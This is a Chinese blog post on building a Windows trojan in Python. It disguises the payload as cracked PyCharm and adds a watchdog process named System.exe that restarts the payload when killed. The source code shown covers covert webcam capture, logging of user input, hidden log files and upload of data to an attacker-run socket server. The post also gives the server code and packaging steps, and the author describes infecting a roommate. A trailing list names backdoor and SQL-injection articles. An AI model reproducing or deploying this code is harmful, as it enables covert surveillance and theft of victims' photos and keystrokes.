用Python写一个病毒
WARNING
本文仅供学习和测试,请勿用于非法用途。
前言
花了挺长时间去开发的,中间有很多包是抄的,比如DDL注入、关于opencv等等,主要其实做了一些拼接、打包、部署。
写这篇博客并不真的想去写病毒攻击别人,而是想告诉大家简单的病毒的原理以及其实我们py学好了,也有能力做出来,并不算难。
写这个东西的人挺少的。那么,我们开始吧。
注:本文源码并不会直接公布于博客,希望对其有兴趣的朋友添加我的QQ:1625098483获取,以防不法用途,我可不想吃国家饭(牢饭)。
病毒原理
这里感谢b站up主提供的思路@路飞学城
三个.exe:Pycharm破解版.exe、WinCoreManagement.exe、System.exe
首先我们有个伪装的程序,比如相信有很多程序猿都去下载过XXX软件破解版,我们这里以"Pycharm破解版"为例。
我们会给用户下载一个压缩包【Pycharm破解版】,里面一定会有很多奇奇怪怪的东西,然后我们把三个.exe也放在里面。
当用户打开Pycharm.exe时,会去调用WinCoreManagement.exe、System.exe,以及正常的Pycharm程序,这样用户就难以发现。
其中调用的WinCoreManagement.exe就是我们核心的病毒程序了,我给它加了三个功能:不定时拍照、记录用户的输入、偶尔锁下用户键盘。
刚才还启用了一个System.exe,当用户发现了我们的主病毒程序,去任务管理器杀掉了主病毒进程,此时这个System.exe进程就会不断去重启病毒程序。
而且一般人其实是不敢去杀一个叫System的进程的,对吧。这样,就算是有点经验的程序员,也难不中招。
源码解析
frozen.py
用于处理多线程错乱的问题
Pycharm破解版.py
import os
import subprocess
import time
import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案
import multiprocessing
if __name__ == '__main__':
multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案
os.chdir(r'.')
#subprocess.Popen(r'pycharm.exe') # 真正的pychamr程序
subprocess.Popen(r'System.exe') # System.exe负责无限重启病毒程序WinCoreManagerment.exe
time.sleep(20)
这一块儿主要是去调用一个病毒程序和进行对用户的欺骗程序,应该不难理解。
System.py
import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案
import multiprocessing
import subprocess, time, sys, os
import win32con
import win32api
CMD = r"WinCoreManagement.exe" # 需要执行程序的绝对路径
def run(cmd):
# print('start OK!')
os.chdir(os.path.dirname(os.path.abspath(__file__)))
p = subprocess.Popen(cmd, shell=False)
p.wait() # 类似于p.join()
try:
subprocess.call('start /b taskkill /F /IM %s' % CMD) # 清理残余
except Exception as e:
# print(e)
pass
# print('子进程关闭,重启')
run(cmd)
if __name__ == '__main__':
multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案
run(CMD)
若用户杀掉病毒主程序,这个程序可以用来不断使病毒程序重启
WinCoreManagement.py
分为三块
多线程
from threading import Timer
from threading import Thread
from threading import Lock
# Lock() 线程锁,防止线程全部错乱
self.mutex_log = Lock() # 日志锁
self.mutex_photo = Lock() # 照片锁
self.mutex_sock = Lock() # 套接字上传锁
# .release() 释放锁
self.mutex_log.release()
self.mutex_photo.release()
self.mutex_sock.release()
日志文件的读写
# 用户家目录,替换用户
# 记住这个 self.base_dir : 路径
# Expand the user's home directory,比如我的电脑就是 C:\\Users\\Daniel
self.base_dir = os.path.expanduser('~') # 权限问题
# 初始化生成日志文件
self.log_path = r'%s/adhsvc.dll.system32' % self.base_dir
open(self.log_path, 'a', encoding='utf-8').close()
win32api.SetFileAttributes(self.log_path, win32con.FILE_ATTRIBUTE_HIDDEN)
def log_debug(self, res):
if not self.debug: return
self.mutex_debug.acquire()
with open(self.debug_log_path, mode='a', encoding='utf-8') as f:
# 写进去
f.write('\n%s\n' % res)
# 刷新缓冲区
f.flush()
# 释放掉
self.mutex_debug.release()
# 和上面那个同理
def log(self, res):
self.mutex_log.acquire()
with open(self.log_path, mode='a', encoding='utf-8') as f:
f.write(res)
f.flush()
self.mutex_log.release()
照相功能,opencv会用就行
def take_photoes(self):
while True:
time.sleep(10)
# 图片路径,同时带上路径+时间
photo_path = r'%s/%s.jpeg' % (self.base_dir, time.strftime('%Y-%m-%d_%H_%M_%S'))
cap = None
try:
# VideoCapture()中第一个参数是摄像头标号,默认情况电脑自带摄像头索引为0,外置为1.2.3…,
# 参数是视频文件路径则打开视频,如cap = cv2.VideoCapture(“../test.avi”)
# CAP_DSHOW是微软特有的,cv2.release()之后摄像头依然开启,需要指定该参数
cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)
ret, frame = cap.read()
self.mutex_photo.acquire()
cv2.imwrite(photo_path, frame)
except Exception as e:
self.log_debug('照相异常: %s' % e)
finally:
# 无论如何都要释放锁,关闭相机
self.mutex_photo.release()
if cap is not None: cap.release() #None.release()
cv2.destroyAllWindows()
if os.path.exists(photo_path):
win32api.SetFileAttributes(photo_path, win32con.FILE_ATTRIBUTE_HIDDEN)
上传功能
原理:
套接字:
Socket = (IP地址:端口号)
服务端监听:
服务器端套接字并不定位具体的客户端套接字,而是等待连接。即打开所有端口
客户端请求:
客户端的套接字提出连接请求,要连接的是服务端的套接字。因此要指定服务器的套接字,指出其地址+端口号,然后向服务端提出连接请求
连接确认:
服务端接受到了客户端的套接字的连接请求,响应,然后建立一个新的线程,并把服务器套接字的描述发给客户端
一旦客户端确认了此描述,连接就好了。然后服务器套接字继续处于监听,接收其他客户端套接字的连接请求
配置
def send_data(self, headers, data):
try:
self.mutex_sock.acquire() # 上传数据的过程中不要做其他事情
# 配置问题,ipv4+网络流传输,不用管
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#套接字:ip+端口
client.connect((self.server_ip, self.server_port))
# dumps 编码,将一个python数据结构转为Json编码的字符串
head_json = json.dumps(headers)
# 换格式
head_json_bytes = bytes(head_json, encoding='utf-8')
# 发送Json包,到时候解码
client.send(struct.pack('i', len(head_json_bytes)))
client.send(head_json_bytes)
client.sendall(data)
#关闭套接字
client.close()
# 成功传输发回命令
res = (True, 'ok')
except ConnectionRefusedError as e:
msg = '套接字服务端未启动: %s' % e
res = (False, msg)
except Exception as e:
msg = '套接字其他错误:%s' % e
res = (False, msg)
finally:
self.mutex_sock.release()
return res
发送日志信息
# 发送日志信息
def upload_log(self):
while True:
time.sleep(1)
# 没东西就直接跳掉
if not os.path.getsize(self.log_path): continue
# 开锁
self.mutex_log.acquire()
# 打开文件,二进制读写手法
with open(self.log_path, mode='rb+') as f:
data = f.read()
self.mutex_log.release()
# 文件大小+文件名字,以路径啥的命名
headers = {
'data_size': len(data),
'filename': os.path.basename(self.log_path)
}
self.log_debug('正在往服务端发送日志......[%s]' % data)
is_ok, msg = self.send_data(headers, data)
if is_ok:
self.log_debug('日志[%s]发送成功。。。' % data)
else:
self.log_debug('日志[%s]发送失败:%s' % (data, msg))
continue
# 指针的位置重新定回0,好习惯
f.truncate(0)
发送图片
def upload_photoes(self):
while True:
time.sleep(3)
# 包含文件的列表取出来
files = os.listdir(self.base_dir)
# jpeg结尾的文件全给我导出来
files_jpeg = [file_name for file_name in files if file_name.endswith('jpeg')]
for file_name in files_jpeg:
file_path = r'%s/%s' % (self.base_dir, file_name)
# 没文件跳出去
if not os.path.exists(file_path): continue
# 日志写进去
self.log_debug('开始上传图片: %s' % file_name)
# 文件大小+文件名字
headers = {
'data_size': os.path.getsize(file_path),
'filename': file_name
}
# 开锁
self.mutex_photo.acquire()
# 二进制读写数据及上传
with open(file_path, mode='rb+') as f:
data = f.read()
self.mutex_photo.release()
is_ok, msg = self.send_data(headers, data)
if is_ok:
self.log_debug('图片%s发送完毕......' % file_name)
else:
self.log_debug('图片%s发送失败:%s' % (file_name, msg))
continue
# 移除文件跑路,自己测试的时候可以注释掉
#os.remove(file_path)
DLL注入
这块儿,我们正经pythoner就先不要了解了
准备工作
1、最新anocoda3.7
https://www.anaconda.com/distribution/#download-section
2、提速下载可以改变源
pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
3、安装pywin32,安装时指定安装目录,默认为C:\Python37\Lib\site-packages
https://github.com/mhammond/pywin32/releases
4、安装opencv-python
pip install opencv-python
5、安装pyinstaller,依赖pyin32
pip install pyinstaller
6、ico文件准备好
在线制作
or
https://www.easyicon.net/500133-QQ_Penguin_tencent_icon.html
=====到这里,我们病毒程序就写好了=====
服务端原理
源码 Toad_server.py 解析
import socketserver
import struct
import json
import os
import time
class ToadServer(socketserver.BaseRequestHandler):
coding='utf-8'
max_packet_size=1024
def handle(self):
ip,port=self.client_address
with open(r'access.log',mode='a',encoding='utf-8') as f:
f.write('[%s] X用户-> %s:%s 正在上传数据\n' %(time.strftime('%Y-%m-%d-%H:%M:%S'),ip, port))
try:
head = self.request.recv(4)
head_json_len = struct.unpack('i', head)[0]
head_json = json.loads(self.request.recv(head_json_len).decode('utf-8'))
data_len = head_json['data_size']
filename = head_json['filename']
recv_size = 0
recv_data = b''
with open(r'client_msg/client_%s_%s' %(ip,filename), 'ab') as f:
while recv_size < data_len:
recv_data = self.request.recv(1024)
f.write(recv_data)
recv_size += len(recv_data)
except Exception as e:
# 客户端断开
self.request.close()
myserver=socketserver.ThreadingTCPServer(('0.0.0.0', 9999),ToadServer)
myserver.serve_forever()
所有端口都开启监听,同时在写病毒程序时候,记得放行9999安全组。
服务端可以直接部署到阿里云等服务器上,然后安装上Python 3.7左右版本,
之后用XFTP上传Toad_server.py
用 python3 Toad_server.py 命令使其运行
打包病毒.exe
和在云服务器上部署web项目一样,总不能让所有用户装上和我们一样的环境吧。
这样,我们用pyinstaller来打包,安装在上文,同时可以给软件换个更"专业"的图标,就能确保用户在自己的机子上也能运行了。
命令: pyinstaller -i pycharm.ico -Fw Pycharm.py
生成的.exe会在dist文件夹中。
实践出真知
三个exe文件打包出来,发给某个倒霉蛋,做点伪装...
自己阿里云上的服务端打开放那跑
日志文件是access.log,记录用户键盘输入是make.log,生成的图片在client_msg文件夹中。
那么我们现在就去找个可爱的室友测试一下吧~
打下码哈哈哈哈哈哈哈哈哈哈哈
不过一开始被360阻止了摄像头权限,真是流氓软件之首啧啧啧
结尾
那么今天这个有趣的项目就到这了,源码这里不方便公布。
如果你觉得特别有意思,想研究一下,那去文首添加本人QQ拿吧~
顺便点个关注点个赞哟,hxdm!
用Python写一个病毒的更多相关文章
- 十行代码--用python写一个USB病毒 (知乎 DeepWeaver)
昨天在上厕所的时候突发奇想,当你把usb插进去的时候,能不能自动执行usb上的程序.查了一下,发现只有windows上可以,具体的大家也可以搜索(搜索关键词usb autorun)到.但是,如果我想, ...
- 用Python写一个简单的Web框架
一.概述 二.从demo_app开始 三.WSGI中的application 四.区分URL 五.重构 1.正则匹配URL 2.DRY 3.抽象出框架 六.参考 一.概述 在Python中,WSGI( ...
- [py]python写一个通讯录step by step V3.0
python写一个通讯录step by step V3.0 参考: http://blog.51cto.com/lovelace/1631831 更新功能: 数据库进行数据存入和读取操作 字典配合函数 ...
- 【Python】如何基于Python写一个TCP反向连接后门
首发安全客 如何基于Python写一个TCP反向连接后门 https://www.anquanke.com/post/id/92401 0x0 介绍 在Linux系统做未授权测试,我们须准备一个安全的 ...
- Python写一个自动点餐程序
Python写一个自动点餐程序 为什么要写这个 公司现在用meican作为点餐渠道,每天规定的时间是早7:00-9:40点餐,有时候我经常容易忘记,或者是在地铁/公交上没办法点餐,所以总是没饭吃,只有 ...
- 用python写一个自动化盲注脚本
前言 当我们进行SQL注入攻击时,当发现无法进行union注入或者报错等注入,那么,就需要考虑盲注了,当我们进行盲注时,需要通过页面的反馈(布尔盲注)或者相应时间(时间盲注),来一个字符一个字符的进行 ...
- python写一个能变身电光耗子的贪吃蛇
python写一个不同的贪吃蛇 写这篇文章是因为最近课太多,没有精力去挖洞,记录一下学习中的收获,python那么好玩就写一个大一没有完成的贪吃蛇(主要还是跟课程有关o(╥﹏╥)o,课太多好烦) 第一 ...
- python写一个邮箱伪造脚本
前言: 原本打算学php MVC的思路然后写一个项目.但是贼恶心, 写不出来.然后就还是用python写了个邮箱伪造. 0x01 第一步先去搜狐注册一个邮箱 然后,点开设置,开启SMTP服务. 当然你 ...
- 用python写一个非常简单的QQ轰炸机
闲的没事,就想写一个QQ轰炸机,按照我最初的想法,这程序要根据我输入的QQ号进行轰炸,网上搜了一下,发现网上的案列略复杂,就想着自己写一个算了.. 思路:所谓轰炸机,就是给某个人发很多信息,一直刷屏, ...
随机推荐
- C# indexof和indexofany区别(转)
定位子串是指在一个字符串中寻找其中包含的子串或者某个字符.在String类中,常用的定位子串和字符的方法包括IndexOf/LastIndexOf及IndexOfAny/LastIndexOfAny, ...
- if当中是赋值怎么办
1.Java中,赋值是有返回值的 ,赋什么值,就返回什么值.比如这题,x=y,返回y的值,所以括号里的值是1. 2.Java跟C的区别,C中赋值后会与0进行比较,如果大于0,就认为是true:而Jav ...
- 单片机串口通信电平不匹配的解决电路,5V 3.3V串口通讯
很早的时候调试串口通讯遇到单片机和模块电压不匹配,信号无法传输,所以整理后来遇到的转换电路.1.最简单的用转换电平IC,可以去淘宝上搜索,有四路的有两路的,比如这个双向电平转换模块 2.根据接触的开发 ...
- 正式班D16
2020.10.27星期二 正式班D16 目录 9.9 字符处理命令 9.9.1 sort排序 9.9.2 uniq去重 9.9.3 cut处理规律文本 9.9.4 tr替换 9.9.5 wc统计 9 ...
- uni-app h5端跨域问题解决
例如我现在的项目运行在 http://localhost:8080,而我有个接口是 https://service.picasso.adesk.com/v1/wallpaper/album,发起请求就 ...
- java开发-前后端分离
众所周知,做java开发是后端的开发,我们时常与前端打交道,但更加注重后端代码的实现,前台的页面都是由前端开发人员做的,那么,是怎么做到前后端分离的呢? 首先,是后端的开发, 在mapper层:Stu ...
- Optimal binary search trees
问题 该问题的实际应用 Suppose that we are designing a program to translate text from English to French. For ea ...
- NB-IOT关键技术分析
NB-IOT(NarrowBand Internet of Things,窄带IoT)是一种基于蜂窝的窄带物联网技术,支持低功耗设备在广域网的蜂窝数据连接.NB-IOT在物联网应用广泛,许多领域都充分 ...
- c#导入文件以后查看制定值
//Console.ReadKey(); ceshi("3.ini", "用户名"); ceshi("3.ini", "IP地址& ...
- 力扣 122 买卖股票的最佳时机II
力扣 122 买卖股票的最佳时机II 思路: 动态规划,表面上是\(O(2^n)\)的搜索空间,实际上该天的选择只与前一天的状态(是否持有股票)有关.从收益的角度来看,确实每一天的不同选择都会产生不同 ...